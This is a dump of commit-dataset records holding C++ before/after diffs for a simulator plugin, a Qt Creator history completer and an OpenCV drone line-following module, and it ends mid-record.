return (char *)\"float\";\n break;\n case NUMBER_IDENTIFIER:\n return (char *)\"float\";\n break;\n case INDICATOR_IDENTIFIER:\n return (char *)\"bool\";\n break;\n case VALUE_IDENTIFIER:\n return (char *)\"uint\";\n break;\n case ANALOG_IDENTIFIER:\n return (char *)\"char\";\n break;\n case ROTARY_IDENTIFIER:\n return (char *)\"char\";\n break;\n case BOOLEAN_IDENTIFIER:\n return (char *)\"bool\";\n break;\n default:\n return NULL;\n }\n\n return NULL;\n}\n\nvoid SimSourcePluginStateManager::instanceCloseHandler(uv_handle_t *handle)\n{\n if (!_eventLoop->active_handles) {\n uv_stop(_eventLoop);\n }\n}\n\nvoid SimSourcePluginStateManager::ceaseEventing(void)\n{\n uv_stop(_eventLoop);\n}\n\nvoid SimSourcePluginStateManager::commenceEventing(EnqueueEventHandler enqueueCallback, void *arg)\n{\n _enqueueCallback = enqueueCallback;\n _callbackArg = arg;\n\n \/\/ this is wrong in a number of ways - it needs to be cancel-able being its chief sin\n \/\/ TODO: unbreak\n _pluginThread = new std::thread([=] { check_uv(uv_run(_eventLoop, UV_RUN_DEFAULT)); });\n}\n<commit_msg>more fixing of data element parsing<commit_after>#include <assert.h>\n#include <iostream>\n#include <memory>\n#include <vector>\n\n#include \"common\/simhubdeviceplugin.h\"\n#include \"main.h\"\n\n\/\/ -- public C FFI\n\nextern \"C\" {\nint simplug_init(SPHANDLE *plugin_instance, LoggingFunctionCB logger)\n{\n *plugin_instance = new SimSourcePluginStateManager(logger);\n return 0;\n}\n\nint simplug_config_passthrough(SPHANDLE plugin_instance, void *libconfig_instance)\n{\n return static_cast<PluginStateManager *>(plugin_instance)->configPassthrough(static_cast<libconfig::Config *>(libconfig_instance));\n}\n\nint simplug_preflight_complete(SPHANDLE plugin_instance)\n{\n return static_cast<PluginStateManager *>(plugin_instance)->preflightComplete();\n}\n\nvoid simplug_commence_eventing(SPHANDLE plugin_instance, EnqueueEventHandler enqueue_callback, void *arg)\n{\n static_cast<PluginStateManager *>(plugin_instance)->commenceEventing(enqueue_callback, arg);\n}\n\nint simplug_deliver_value(SPHANDLE plugin_instance, GenericTLV *value)\n{\n return static_cast<PluginStateManager *>(plugin_instance)->deliverValue(value);\n}\n\nvoid simplug_cease_eventing(SPHANDLE plugin_instance)\n{\n static_cast<PluginStateManager *>(plugin_instance)->ceaseEventing();\n}\n\nvoid simplug_release(SPHANDLE plugin_instance)\n{\n assert(plugin_instance);\n delete static_cast<PluginStateManager *>(plugin_instance);\n}\n}\n\n\/\/ -- internal implementation\n\nSimSourcePluginStateManager *SimSourcePluginStateManager::_StateManagerInstance = NULL;\n\nvoid SimSourcePluginStateManager::AllocBuffer(uv_handle_t *handle, size_t size, uv_buf_t *buf)\n{\n *buf = SimSourcePluginStateManager::StateManagerInstance()->_readBuffer;\n}\n\n\/\/! static getter for singleton instance of our class\nSimSourcePluginStateManager *SimSourcePluginStateManager::StateManagerInstance(void)\n{\n return _StateManagerInstance;\n}\n\nSimSourcePluginStateManager::SimSourcePluginStateManager(LoggingFunctionCB logger)\n : PluginStateManager(logger)\n{\n \/\/ enforce singleton pre-condition\n\n assert(!_StateManagerInstance);\n\n _StateManagerInstance = this;\n _processedElementCount = 0;\n\n if (!(_rawBuffer = (char *)malloc(BUFFER_LEN))) {\n printf(\"Unable to allocate buffer of size %d\", BUFFER_LEN);\n }\n else {\n _readBuffer = ::uv_buf_init(_rawBuffer, BUFFER_LEN);\n }\n}\n\nSimSourcePluginStateManager::~SimSourcePluginStateManager(void)\n{\n \/\/ TODO: enable once shtudown implemented\n if (_pluginThread != NULL) {\n if (_pluginThread->joinable()) {\n ceaseEventing();\n _pluginThread->join();\n }\n\n delete _pluginThread;\n }\n\n if (_rawBuffer != NULL)\n free(_rawBuffer);\n}\n\nint SimSourcePluginStateManager::preflightComplete(void)\n{\n int retVal = PREFLIGHT_OK;\n int port = 8091;\n\n libconfig::Setting *devicesConfiguraiton = NULL;\n\n std::string type = \"\";\n std::string ipAddress = \"\";\n\n try {\n devicesConfiguraiton = &_config->lookup(\"configuration\");\n }\n catch (const libconfig::SettingNotFoundException &nfex) {\n _logger(LOG_ERROR, \"Config file parse error at %s. Skipping....\", nfex.getPath());\n }\n\n for (libconfig::SettingIterator iter = devicesConfiguraiton->begin(); iter != devicesConfiguraiton->end(); iter++) {\n\n if (iter->exists(\"ipAddress\")) {\n iter->lookupValue(\"ipAddress\", ipAddress);\n }\n else {\n ipAddress = \"127.0.0.1\";\n }\n\n if (iter->exists(\"port\")) {\n iter->lookupValue(\"port\", port);\n }\n }\n\n struct sockaddr_in req_addr;\n\n _eventLoop = uv_default_loop();\n check_uv(uv_loop_init(_eventLoop));\n\n check_uv(uv_tcp_init(_eventLoop, &_tcpClient));\n uv_tcp_keepalive(&_tcpClient, 1, 60);\n\n uv_ip4_addr(ipAddress.c_str(), port, &req_addr);\n\n int connectErr = uv_tcp_connect(&_connectReq, &_tcpClient, (struct sockaddr *)&req_addr, &SimSourcePluginStateManager::OnConnect);\n\n if (connectErr < 0) {\n retVal = PREFLIGHT_FAIL;\n }\n\n return retVal;\n}\n\nvoid SimSourcePluginStateManager::OnConnect(uv_connect_t *req, int status)\n{\n assert(SimSourcePluginStateManager::StateManagerInstance());\n\n if (status == SIM_CONNECT_NOT_FOUND) {\n SimSourcePluginStateManager::StateManagerInstance()->_logger(LOG_ERROR, \" - Failed to connect to simulator\");\n }\n else {\n SimSourcePluginStateManager::StateManagerInstance()->_logger(LOG_INFO, \" - Connected to simulator %d\", status);\n SimSourcePluginStateManager::StateManagerInstance()->instanceConnectionHandler(req, status);\n }\n}\n\nvoid SimSourcePluginStateManager::OnRead(uv_stream_t *server, ssize_t nread, const uv_buf_t *buf)\n{\n SimSourcePluginStateManager::StateManagerInstance()->instanceReadHandler(server, nread, buf);\n}\n\nvoid SimSourcePluginStateManager::OnClose(uv_handle_t *handle)\n{\n assert(SimSourcePluginStateManager::StateManagerInstance());\n SimSourcePluginStateManager::StateManagerInstance()->instanceCloseHandler(handle);\n}\n\nvoid SimSourcePluginStateManager::instanceConnectionHandler(uv_connect_t *req, int status)\n{\n if (uv_is_readable(req->handle)) {\n uv_read_start(req->handle, &SimSourcePluginStateManager::AllocBuffer, &SimSourcePluginStateManager::OnRead);\n }\n else {\n printf(\"not readable\\n\");\n }\n}\n\nvoid SimSourcePluginStateManager::instanceReadHandler(uv_stream_t *server, ssize_t nread, const uv_buf_t *buf)\n{\n if (nread > 0) {\n uv_buf_t buffer = uv_buf_init((char *)malloc(nread), nread);\n memcpy(buffer.base, buf->base, nread);\n buffer.base[nread - 1] = '\\0';\n processData(buffer.base, nread);\n free(buffer.base);\n }\n else if (nread < 0) {\n if (nread == UV_EOF) {\n SimSourcePluginStateManager::StateManagerInstance()->_logger(LOG_INFO, \" - Stopping prepare3d ingest loop\");\n ceaseEventing();\n }\n else {\n SimSourcePluginStateManager::StateManagerInstance()->_logger(LOG_INFO, \" - %s\", uv_strerror(nread));\n uv_close((uv_handle_t *)server, &SimSourcePluginStateManager::OnClose);\n }\n }\n}\n\nvoid SimSourcePluginStateManager::processData(char *data, int len)\n{\n if (len > 2) {\n int elementCount = 0;\n char *p = strtok(data, \"\\n\");\n char *array[MAX_ELEMENTS_PER_UPDATE];\n\n while (p != NULL) {\n size_t len = strlen(p);\n\n if (len > 2) {\n char *buffer = (char *)malloc(BUFFER_LEN);\n memset(buffer, 0, BUFFER_LEN);\n strncpy(buffer, p, len);\n buffer[len - 1] = '\\0';\n array[elementCount++] = buffer;\n }\n\n p = strtok(NULL, \"\\n\");\n }\n\n for (int i = 0; i < elementCount; ++i) {\n processElement(array[i]);\n free(array[i]);\n }\n }\n}\n\nvoid SimSourcePluginStateManager::processElement(char *element)\n{\n\n char *name = strtok(element, \"=\");\n char *value = strtok(NULL, \" =\");\n name[strlen(name) - 1] = '\\0';\n\n if (value == NULL)\n return;\n\n char *type = getElementDataType(name[0]);\n\n if (type != NULL) {\n\n simElement el;\n\n el.name = name;\n\n if (strncmp(type, \"float\", sizeof(&type)) == 0) {\n el.type = CONFIG_FLOAT;\n el.value.float_value = atof(value);\n el.length = sizeof(float);\n }\n else if (strncmp(type, \"char\", sizeof(&type)) == 0) {\n el.type = CONFIG_STRING;\n el.value.string_value = value;\n el.length = strlen(value);\n }\n else if (strncmp(type, \"integer\", sizeof(&type)) == 0) {\n el.type = CONFIG_INT;\n el.value.int_value = atoi(value);\n el.length = sizeof(int);\n }\n else if (strncmp(type, \"bool\", sizeof(&type)) == 0) {\n el.type = CONFIG_BOOL;\n el.length = sizeof(int);\n\n if (strncmp(value, \"OFF\", sizeof(el.value)) == 0)\n el.value.bool_value = 0;\n else\n el.value.bool_value = 1;\n }\n _enqueueCallback(this, (void *)&el, _callbackArg);\n _processedElementCount++;\n }\n}\n\nchar *SimSourcePluginStateManager::getElementDataType(char identifier)\n{\n switch (identifier) {\n case GAUGE_IDENTIFIER:\n return (char *)\"float\";\n break;\n case NUMBER_IDENTIFIER:\n return (char *)\"float\";\n break;\n case INDICATOR_IDENTIFIER:\n return (char *)\"bool\";\n break;\n case VALUE_IDENTIFIER:\n return (char *)\"uint\";\n break;\n case ANALOG_IDENTIFIER:\n return (char *)\"char\";\n break;\n case ROTARY_IDENTIFIER:\n return (char *)\"char\";\n break;\n case BOOLEAN_IDENTIFIER:\n return (char *)\"bool\";\n break;\n default:\n return NULL;\n }\n\n return NULL;\n}\n\nvoid SimSourcePluginStateManager::instanceCloseHandler(uv_handle_t *handle)\n{\n if (!_eventLoop->active_handles) {\n uv_stop(_eventLoop);\n }\n}\n\nvoid SimSourcePluginStateManager::ceaseEventing(void)\n{\n uv_stop(_eventLoop);\n}\n\nvoid SimSourcePluginStateManager::commenceEventing(EnqueueEventHandler enqueueCallback, void *arg)\n{\n _enqueueCallback = enqueueCallback;\n _callbackArg = arg;\n\n \/\/ this is wrong in a number of ways - it needs to be cancel-able being its chief sin\n \/\/ TODO: unbreak\n _pluginThread = new std::thread([=] { check_uv(uv_run(_eventLoop, UV_RUN_DEFAULT)); });\n}\n<|endoftext|>"} {"text":"<commit_before>\/****************************************************************************\n**\n** Copyright (C) 2014 Digia Plc and\/or its subsidiary(-ies).\n** Contact: http:\/\/www.qt-project.org\/legal\n**\n** This file is part of Qt Creator.\n**\n** Commercial License Usage\n** Licensees holding valid commercial Qt licenses may use this file in\n** accordance with the commercial license agreement provided with the\n** Software or, alternatively, in accordance with the terms contained in\n** a written agreement between you and Digia. For licensing terms and\n** conditions see http:\/\/qt.digia.com\/licensing. For further information\n** use the contact form at http:\/\/qt.digia.com\/contact-us.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file. Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Digia gives you certain additional\n** rights. These rights are described in the Digia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n****************************************************************************\/\n\n#include \"historycompleter.h\"\n#include \"fancylineedit.h\"\n\n#include \"qtcassert.h\"\n\n#include <QSettings>\n\n#include <QItemDelegate>\n#include <QKeyEvent>\n#include <QListView>\n#include <QPainter>\n\nnamespace Utils {\nnamespace Internal {\n\nstatic QSettings *theSettings = 0;\n\nclass HistoryCompleterPrivate : public QAbstractListModel\n{\npublic:\n HistoryCompleterPrivate() : maxLines(30), lineEdit(0) {}\n\n int rowCount(const QModelIndex &parent = QModelIndex()) const;\n QVariant data(const QModelIndex &index, int role = Qt::DisplayRole) const;\n bool removeRows(int row, int count, const QModelIndex &parent = QModelIndex());\n\n void clearHistory();\n void saveEntry(const QString &str);\n\n QStringList list;\n QString historyKey;\n int maxLines;\n FancyLineEdit *lineEdit;\n};\n\nclass HistoryLineDelegate : public QItemDelegate\n{\npublic:\n HistoryLineDelegate(QObject *parent)\n : QItemDelegate(parent)\n , pixmap(QLatin1String(\":\/core\/images\/editclear.png\"))\n {}\n\n void paint(QPainter *painter, const QStyleOptionViewItem &option, const QModelIndex &index) const\n {\n QItemDelegate::paint(painter,option,index);\n QRect r = QStyle::alignedRect(option.direction, Qt::AlignRight | Qt::AlignVCenter , pixmap.size(), option.rect);\n painter->drawPixmap(r, pixmap);\n }\n\n QPixmap pixmap;\n};\n\nclass HistoryLineView : public QListView\n{\npublic:\n HistoryLineView(HistoryCompleterPrivate *model_)\n : model(model_)\n {\n HistoryLineDelegate *delegate = new HistoryLineDelegate(this);\n pixmapWidth = delegate->pixmap.width();\n setItemDelegate(delegate);\n }\n\nprivate:\n void mousePressEvent(QMouseEvent *event)\n {\n int rr= event->x();\n if (layoutDirection() == Qt::LeftToRight)\n rr = viewport()->width() - event->x();\n if (rr < pixmapWidth) {\n model->removeRow(indexAt(event->pos()).row());\n return;\n }\n QListView::mousePressEvent(event);\n }\n\n HistoryCompleterPrivate *model;\n int pixmapWidth;\n};\n\n} \/\/ namespace Internal\n\nusing namespace Internal;\n\nint HistoryCompleterPrivate::rowCount(const QModelIndex &parent) const\n{\n return parent.isValid() ? 0 : list.count();\n}\n\nQVariant HistoryCompleterPrivate::data(const QModelIndex &index, int role) const\n{\n if (index.row() >= list.count() || index.column() != 0)\n return QVariant();\n if (role == Qt::DisplayRole || role == Qt::EditRole)\n return list.at(index.row());\n return QVariant();\n}\n\nbool HistoryCompleterPrivate::removeRows(int row, int count, const QModelIndex &parent)\n{\n QTC_ASSERT(theSettings, return false);\n if (row + count > list.count())\n return false;\n beginRemoveRows(parent, row, row + count -1);\n for (int i = 0; i < count; ++i)\n list.removeAt(row);\n theSettings->setValue(historyKey, list);\n endRemoveRows();\n return true;\n}\n\nvoid HistoryCompleterPrivate::clearHistory()\n{\n beginResetModel();\n list.clear();\n endResetModel();\n}\n\nvoid HistoryCompleterPrivate::saveEntry(const QString &str)\n{\n QTC_ASSERT(theSettings, return);\n const QString &entry = str.trimmed();\n int removeIndex = list.indexOf(entry);\n if (removeIndex != -1)\n removeRow(removeIndex);\n beginInsertRows (QModelIndex(), list.count(), list.count());\n list.prepend(entry);\n list = list.mid(0, maxLines);\n endInsertRows();\n theSettings->setValue(historyKey, list);\n}\n\nHistoryCompleter::HistoryCompleter(FancyLineEdit *lineEdit, const QString &historyKey, QObject *parent)\n : QCompleter(parent),\n d(new HistoryCompleterPrivate)\n{\n QTC_ASSERT(lineEdit, return);\n QTC_ASSERT(!historyKey.isEmpty(), return);\n QTC_ASSERT(theSettings, return);\n\n d->historyKey = QLatin1String(\"CompleterHistory\/\") + historyKey;\n d->list = theSettings->value(d->historyKey).toStringList();\n d->lineEdit = lineEdit;\n if (d->list.count())\n lineEdit->setText(d->list.at(0));\n\n setModel(d);\n setPopup(new HistoryLineView(d));\n\n connect(lineEdit, SIGNAL(editingFinished()), this, SLOT(saveHistory()));\n}\n\nbool HistoryCompleter::removeHistoryItem(int index)\n{\n return d->removeRow(index);\n}\n\nHistoryCompleter::~HistoryCompleter()\n{\n delete d;\n}\n\nint HistoryCompleter::historySize() const\n{\n return d->rowCount();\n}\n\nint HistoryCompleter::maximalHistorySize() const\n{\n return d->maxLines;\n}\n\nvoid HistoryCompleter::setMaximalHistorySize(int numberOfEntries)\n{\n d->maxLines = numberOfEntries;\n}\n\nvoid HistoryCompleter::clearHistory()\n{\n d->clearHistory();\n}\n\nvoid HistoryCompleter::saveHistory()\n{\n d->saveEntry(d->lineEdit->text());\n}\n\nvoid HistoryCompleter::setSettings(QSettings *settings)\n{\n Internal::theSettings = settings;\n}\n\n} \/\/ namespace Utils\n<commit_msg>HistoryCompleter: Do not overwrite text in the FancyLineEdit<commit_after>\/****************************************************************************\n**\n** Copyright (C) 2014 Digia Plc and\/or its subsidiary(-ies).\n** Contact: http:\/\/www.qt-project.org\/legal\n**\n** This file is part of Qt Creator.\n**\n** Commercial License Usage\n** Licensees holding valid commercial Qt licenses may use this file in\n** accordance with the commercial license agreement provided with the\n** Software or, alternatively, in accordance with the terms contained in\n** a written agreement between you and Digia. For licensing terms and\n** conditions see http:\/\/qt.digia.com\/licensing. For further information\n** use the contact form at http:\/\/qt.digia.com\/contact-us.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file. Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Digia gives you certain additional\n** rights. These rights are described in the Digia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n****************************************************************************\/\n\n#include \"historycompleter.h\"\n#include \"fancylineedit.h\"\n\n#include \"qtcassert.h\"\n\n#include <QSettings>\n\n#include <QItemDelegate>\n#include <QKeyEvent>\n#include <QListView>\n#include <QPainter>\n\nnamespace Utils {\nnamespace Internal {\n\nstatic QSettings *theSettings = 0;\n\nclass HistoryCompleterPrivate : public QAbstractListModel\n{\npublic:\n HistoryCompleterPrivate() : maxLines(30), lineEdit(0) {}\n\n int rowCount(const QModelIndex &parent = QModelIndex()) const;\n QVariant data(const QModelIndex &index, int role = Qt::DisplayRole) const;\n bool removeRows(int row, int count, const QModelIndex &parent = QModelIndex());\n\n void clearHistory();\n void saveEntry(const QString &str);\n\n QStringList list;\n QString historyKey;\n int maxLines;\n FancyLineEdit *lineEdit;\n};\n\nclass HistoryLineDelegate : public QItemDelegate\n{\npublic:\n HistoryLineDelegate(QObject *parent)\n : QItemDelegate(parent)\n , pixmap(QLatin1String(\":\/core\/images\/editclear.png\"))\n {}\n\n void paint(QPainter *painter, const QStyleOptionViewItem &option, const QModelIndex &index) const\n {\n QItemDelegate::paint(painter,option,index);\n QRect r = QStyle::alignedRect(option.direction, Qt::AlignRight | Qt::AlignVCenter , pixmap.size(), option.rect);\n painter->drawPixmap(r, pixmap);\n }\n\n QPixmap pixmap;\n};\n\nclass HistoryLineView : public QListView\n{\npublic:\n HistoryLineView(HistoryCompleterPrivate *model_)\n : model(model_)\n {\n HistoryLineDelegate *delegate = new HistoryLineDelegate(this);\n pixmapWidth = delegate->pixmap.width();\n setItemDelegate(delegate);\n }\n\nprivate:\n void mousePressEvent(QMouseEvent *event)\n {\n int rr= event->x();\n if (layoutDirection() == Qt::LeftToRight)\n rr = viewport()->width() - event->x();\n if (rr < pixmapWidth) {\n model->removeRow(indexAt(event->pos()).row());\n return;\n }\n QListView::mousePressEvent(event);\n }\n\n HistoryCompleterPrivate *model;\n int pixmapWidth;\n};\n\n} \/\/ namespace Internal\n\nusing namespace Internal;\n\nint HistoryCompleterPrivate::rowCount(const QModelIndex &parent) const\n{\n return parent.isValid() ? 0 : list.count();\n}\n\nQVariant HistoryCompleterPrivate::data(const QModelIndex &index, int role) const\n{\n if (index.row() >= list.count() || index.column() != 0)\n return QVariant();\n if (role == Qt::DisplayRole || role == Qt::EditRole)\n return list.at(index.row());\n return QVariant();\n}\n\nbool HistoryCompleterPrivate::removeRows(int row, int count, const QModelIndex &parent)\n{\n QTC_ASSERT(theSettings, return false);\n if (row + count > list.count())\n return false;\n beginRemoveRows(parent, row, row + count -1);\n for (int i = 0; i < count; ++i)\n list.removeAt(row);\n theSettings->setValue(historyKey, list);\n endRemoveRows();\n return true;\n}\n\nvoid HistoryCompleterPrivate::clearHistory()\n{\n beginResetModel();\n list.clear();\n endResetModel();\n}\n\nvoid HistoryCompleterPrivate::saveEntry(const QString &str)\n{\n QTC_ASSERT(theSettings, return);\n const QString &entry = str.trimmed();\n int removeIndex = list.indexOf(entry);\n if (removeIndex != -1)\n removeRow(removeIndex);\n beginInsertRows (QModelIndex(), list.count(), list.count());\n list.prepend(entry);\n list = list.mid(0, maxLines);\n endInsertRows();\n theSettings->setValue(historyKey, list);\n}\n\nHistoryCompleter::HistoryCompleter(FancyLineEdit *lineEdit, const QString &historyKey, QObject *parent)\n : QCompleter(parent),\n d(new HistoryCompleterPrivate)\n{\n QTC_ASSERT(lineEdit, return);\n QTC_ASSERT(!historyKey.isEmpty(), return);\n QTC_ASSERT(theSettings, return);\n\n d->historyKey = QLatin1String(\"CompleterHistory\/\") + historyKey;\n d->list = theSettings->value(d->historyKey).toStringList();\n d->lineEdit = lineEdit;\n if (d->list.count() && lineEdit->text().isEmpty())\n lineEdit->setText(d->list.at(0));\n\n setModel(d);\n setPopup(new HistoryLineView(d));\n\n connect(lineEdit, SIGNAL(editingFinished()), this, SLOT(saveHistory()));\n}\n\nbool HistoryCompleter::removeHistoryItem(int index)\n{\n return d->removeRow(index);\n}\n\nHistoryCompleter::~HistoryCompleter()\n{\n delete d;\n}\n\nint HistoryCompleter::historySize() const\n{\n return d->rowCount();\n}\n\nint HistoryCompleter::maximalHistorySize() const\n{\n return d->maxLines;\n}\n\nvoid HistoryCompleter::setMaximalHistorySize(int numberOfEntries)\n{\n d->maxLines = numberOfEntries;\n}\n\nvoid HistoryCompleter::clearHistory()\n{\n d->clearHistory();\n}\n\nvoid HistoryCompleter::saveHistory()\n{\n d->saveEntry(d->lineEdit->text());\n}\n\nvoid HistoryCompleter::setSettings(QSettings *settings)\n{\n Internal::theSettings = settings;\n}\n\n} \/\/ namespace Utils\n<|endoftext|>"} {"text":"<commit_before>\/*\n\n*\/\n\n#include \"lineFollowing.h\"\n#include \"line_utilities.h\"\n#include \"..\/control.h\"\n#include \"line_simplification.h\"\n\nusing namespace std;\nusing namespace cv;\n\n\nvoid LineFollowing::detect_lines(Mat &original_frame) {\n\n Mat hsv;\n Mat mask;\n width = original_frame.cols;\n height = original_frame.rows;\n\n cvtColor(original_frame, hsv, CV_BGR2HSV); \/\/ Image is now HSV\n\n Scalar lower(minH, minS, minV);\n Scalar upper(maxH, maxS, maxV);\n inRange(hsv, lower, upper, mask); \/\/ Create a mask of only the desired color\n Canny(mask, mask, 50, 200, 3);\n\n vector<Vec2f> lines;\n HoughLines(mask, lines, 1, CV_PI \/ 180, 100, 0, 0);\n\n \/\/ printf(\"Adding in %d lines\\n\", (int) lines.size());\n\n vector<Vec2f> tmp = condense_lines(lines, true);\n sort(tmp.begin(), tmp.end(),\n [](const Vec2f &a, const Vec2f &b) {\n return a[0] < b[0];\n });\n if (tmp.size() > 0) {\n found_lines = tmp;\n }\n\n draw_lines(original_frame, found_lines, Scalar(255, 255, 255));\n\n}\n\nLineFollowing::LineFollowing(Control *control) {\n namedWindow(\"line_window\", CV_WINDOW_NORMAL);\n control_ptr = control;\n minH = 50;\n minS = 20;\n minV = 150;\n maxH = 125;\n maxS = 100;\n maxV = 255;\n return;\n}\n\nvoid LineFollowing::close() {\n return;\n}\n\nvoid LineFollowing::fly() {\n int center_x = 0 + (control_ptr->image.cols \/ 2);\n int center_y = 0 + (control_ptr->image.rows \/ 2);\n Point center_point = cvPoint(center_x, center_y);\n int tolerance = 10;\n line_options categorization;\n Point intersection_point;\n double calculated_distance_from_vertical = 0, calculated_distance_from_horizontal = 0;\n\n control_ptr->velocities.vx = 0;\n control_ptr->velocities.vy = 0;\n control_ptr->velocities.vz = 0;\n control_ptr->velocities.vr = 0;\n\n detect_lines(control_ptr->image);\n\n\n if (found_lines.size() < 1) return;\n\n if (found_lines.size() == 1) {\n categorization.vertical = found_lines[0];\n calculated_distance_from_vertical = distance_from_center(categorization.vertical[1], categorization.vertical[0],\n control_ptr->image.cols, control_ptr->image.rows);\n calculated_distance_from_horizontal = 0;\n intersection_point = cvPoint(center_x + cvRound(calculated_distance_from_vertical), center_y);\n } else if (found_lines.size() == 2) {\n \/\/TODO maybe this is a very bad assumption to make, that [0] is the vertical line\n categorization.vertical = found_lines[0];\n categorization.horizontal = found_lines[1];\n calculated_distance_from_vertical = distance_from_center(categorization.vertical[1], categorization.vertical[0],\n control_ptr->image.cols, control_ptr->image.rows);\n calculated_distance_from_horizontal = distance_from_center(categorization.horizontal[1],\n categorization.horizontal[0],\n control_ptr->image.cols, control_ptr->image.rows);\n\n intersection_point = find_intersection(categorization.vertical, categorization.horizontal);\n\n }\n if (found_lines.size() < 3) {\n \/\/For 1 or 2 lines\n\n line(control_ptr->image, center_point, intersection_point, color_white, 3, CV_AA); \/\/ draw the line to the center\n\n \/\/draw a cross at the intersection\n line(control_ptr->image, cvPoint(0 + intersection_point.x + 10, 0 + intersection_point.y),\n cvPoint(0 + intersection_point.x - 10, 0 + intersection_point.y), color_white, 3, CV_AA);\n line(control_ptr->image, cvPoint(0 + intersection_point.x, 0 + intersection_point.y + 10),\n cvPoint(0 + intersection_point.x, 0 + intersection_point.y - 10), color_white, 3, CV_AA);\n\n \/\/ I need to snap myself to the line\n if (categorization.vertical[0] >= deg2rad(5)) {\n control_ptr->velocities.vr = -.2;\n \/\/ printf(\"Turning Right\\n\");\n } else if (categorization.vertical[0] <= deg2rad(-1 * 5)) {\n control_ptr->velocities.vr = .2;\n \/\/ printf(\"Turning Left\\n\");\n } else {\n \/\/ printf(\"Checking Distance\\n\");\n \/\/ printf(\"Offset is: %5.2f with a distance of %5.2f and width of %5.2f halved to %5.2f\\n\", offset,\n\n \/\/ (double) control_ptr->image.cols, (control_ptr->image.cols \/ 2.0));\n if (-100 >= calculated_distance_from_vertical && calculated_distance_from_vertical >= 100) {\n if (calculated_distance_from_vertical < 0) {\n \/\/we are to the right of the line\n \/\/we need to move left\n control_ptr->velocities.vy = 1;\n \/\/ printf(\"Move left\\n\");\n } else {\n \/\/we need to move right\n control_ptr->velocities.vy = -1;\n \/\/ printf(\"Move right\\n\");\n }\n }\n if (-100 >= calculated_distance_from_horizontal && calculated_distance_from_horizontal >= 100) {\n \/\/todo move up or down the line\n\n if (calculated_distance_from_horizontal > 0) {\n\/\/ we are above the line\n\/\/ so we need to move backwards\n\/\/ I think\n\/\/ todo check this\n control_ptr->velocities.vx = -1;\n\n } else {\n control_ptr->velocities.vx = 1;\n }\n }\n }\n } else {\n for (int i = 0; i < found_lines.size(); ++i) {\n float angle = abs(found_lines[i][0]);\n\n if (angle > deg2rad(0 - tolerance) && angle < deg2rad(0 + tolerance) && categorization.vertical == Vec2f()) {\n categorization.vertical = found_lines[i];\n }\n if (angle > deg2rad(90 - tolerance) && angle < deg2rad(90 + tolerance) && categorization.horizontal == Vec2f()) {\n categorization.horizontal = found_lines[i];\n }\n if (angle > deg2rad(45 - tolerance) && angle < deg2rad(45 + tolerance) && categorization.sloped == Vec2f()) {\n categorization.sloped = found_lines[i];\n if (found_lines[i][0] < 0) {\n categorization.d = direction::right;\n } else if (found_lines[i][0] > 0) {\n categorization.d = direction::left;\n }\n }\n\n }\n }\n\n if (found_lines.size() > 3) {\n \/\/print out the points of all 4+ lines\n for (int j = 0; j < (int) found_lines.size(); j++) {\n printf(\"(%5.1f, %5.0f) \", rad2deg(found_lines[j][0]) + 180, found_lines[j][1]);\n }\n printf(\"\\n\");\n }\n\n \/\/Draw all the lines\n if (categorization.horizontal != Vec2f()) {\n draw_line(control_ptr->image, categorization.horizontal, color_green);\n }\n if (categorization.vertical != Vec2f()) {\n draw_line(control_ptr->image, categorization.vertical, color_blue);\n }\n if (categorization.sloped != Vec2f()) {\n draw_line(control_ptr->image, categorization.sloped, color_red);\n }\n\n return;\n}\n\ncv::Point LineFollowing::find_intersection(Vec2f a, Vec2f b) {\n Point rv;\n bool do_intersect = parametricIntersect(a[1], a[0], b[1], b[0], rv.x, rv.y);\n if (!do_intersect) {\n printf(\"No intersection!\\n\");\n }\n\n return rv;\n}\n\n<commit_msg>tweaks<commit_after>\/*\n\n*\/\n\n#include \"lineFollowing.h\"\n#include \"line_utilities.h\"\n#include \"..\/control.h\"\n#include \"line_simplification.h\"\n\nusing namespace std;\nusing namespace cv;\n\n\nvoid LineFollowing::detect_lines(Mat &original_frame) {\n\n Mat hsv;\n Mat mask;\n width = original_frame.cols;\n height = original_frame.rows;\n\n cvtColor(original_frame, hsv, CV_BGR2HSV); \/\/ Image is now HSV\n\n Scalar lower(minH, minS, minV);\n Scalar upper(maxH, maxS, maxV);\n inRange(hsv, lower, upper, mask); \/\/ Create a mask of only the desired color\n Canny(mask, mask, 50, 200, 3);\n\n vector<Vec2f> lines;\n HoughLines(mask, lines, 1, CV_PI \/ 180, 100, 0, 0);\n\n \/\/ printf(\"Adding in %d lines\\n\", (int) lines.size());\n\n\n\n vector<Vec2f> tmp = condense_lines(lines, true);\n\n sort(tmp.begin(), tmp.end(),\n [](const Vec2f &a, const Vec2f &b) {\n return a[0] < b[0];\n });\n if (tmp.size() > 0) {\n found_lines = tmp;\n }\n\n draw_lines(original_frame, found_lines, Scalar(255, 255, 255));\n\n}\n\nLineFollowing::LineFollowing(Control *control) {\n namedWindow(\"line_window\", CV_WINDOW_NORMAL);\n control_ptr = control;\n minH = 50;\n minS = 20;\n minV = 150;\n maxH = 125;\n maxS = 100;\n maxV = 255;\n return;\n}\n\nvoid LineFollowing::close() {\n return;\n}\n\nvoid LineFollowing::fly() {\n int center_x = 0 + (control_ptr->image.cols \/ 2);\n int center_y = 0 + (control_ptr->image.rows \/ 2);\n Point center_point = cvPoint(center_x, center_y);\n int tolerance = 10;\n line_options categorization;\n Point intersection_point;\n double calculated_distance_from_vertical = 0, calculated_distance_from_horizontal = 0;\n\n control_ptr->velocities.vx = 0;\n control_ptr->velocities.vy = 0;\n control_ptr->velocities.vz = 0;\n control_ptr->velocities.vr = 0;\n\n detect_lines(control_ptr->image);\n\n\n if (found_lines.size() < 1) return;\n\n if (found_lines.size() == 1) {\n categorization.vertical = 